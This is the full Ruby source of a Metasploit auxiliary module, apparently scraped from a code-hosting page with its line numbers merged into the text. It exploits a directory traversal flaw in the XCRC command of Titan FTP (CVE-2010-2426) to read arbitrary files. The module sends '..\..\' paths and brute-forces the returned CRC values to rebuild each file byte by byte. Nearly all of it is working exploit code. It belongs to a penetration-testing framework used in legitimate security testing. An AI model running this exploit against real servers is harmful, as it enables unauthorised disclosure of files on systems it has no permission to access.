Path: blob/master/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
19670 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def proto11'ftp'12end1314def initialize15super(16'Name' => 'Titan FTP XCRC Directory Traversal Information Disclosure',17'Description' => %q{18This module exploits a directory traversal vulnerability in the XCRC command19implemented in versions of Titan FTP up to and including 8.10.1125. By making20sending multiple XCRC command, it is possible to disclose the contents of any21file on the drive with a simple CRC "brute force" attack.2223Although the daemon runs with SYSTEM privileges, access is limited to files24that reside on the same drive as the FTP server's root directory.25},26'Author' => [27'jduck',28'Brandon McCann @zeknox <bmccann[at]accuvant.com>',29],30'License' => MSF_LICENSE,31'References' => [32[ 'CVE', '2010-2426' ],33[ 'OSVDB', '65533'],34[ 'URL', 'https://seclists.org/bugtraq/2010/Jun/160' ]35],36'DisclosureDate' => 'Jun 15 2010'37)3839register_options(40[41Opt::RPORT(21),42OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]),43OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'windows\\win.ini'])44]45)46end4748def run_host(ip)49c = connect_login50return if not c5152path = datastore['TRAVERSAL'] + datastore['PATH']5354res = send_cmd(['XCRC', path, "0", "9999999999"], true)55if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./)56print_error("Unable to obtain file size! File probably doesn't exist.")57return58end59file_size = $1.to_i6061update_interval = 1.562last_update = Time.now - update_interval6364old_crc = 065file_data = ''66file_size.times { |off|67res = send_cmd(['XCRC', path, "0", (off + 1).to_s], true)68if not (res =~ /250 (.*)\r?\n/)69raise RuntimeError, "Unable to obtain XCRC of byte #{off}!"70end7172crc = $1.to_i(16)73if (crc == 0)74raise RuntimeError, "Unable to decode CRC: #{$1}"75end7677ch = char_from_crc(crc, old_crc)78if not (ch)79raise RuntimeError, ("Unable to find a CRC match for 0x%x" % crc)80end8182# got this byte ;)83file_data << ch84old_crc = crc8586if (Time.now - last_update) >= update_interval87progress(file_size, off)88last_update = Time.now89end90}9192progress(file_size, file_size)9394fname = datastore['PATH'].gsub(/[\/\\]/, '_')95p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname)96print_good("Saved in: #{p}")97vprint_status(file_data.inspect)9899disconnect100end101102#103# Return a character code from the crc, or nil on failure104#105def char_from_crc(crc, old_crc)106256.times { |x|107ch = x.chr108if (Zlib.crc32(ch, old_crc) == crc)109return ch110end111}112nil113end114115def progress(total, current)116done = (current.to_f / total.to_f) * 100117percent = "%3.2f%%" % done.to_f118print_status("Obtaining file contents - %7s done (%d/%d bytes)" % [percent, current, total])119end120end121122123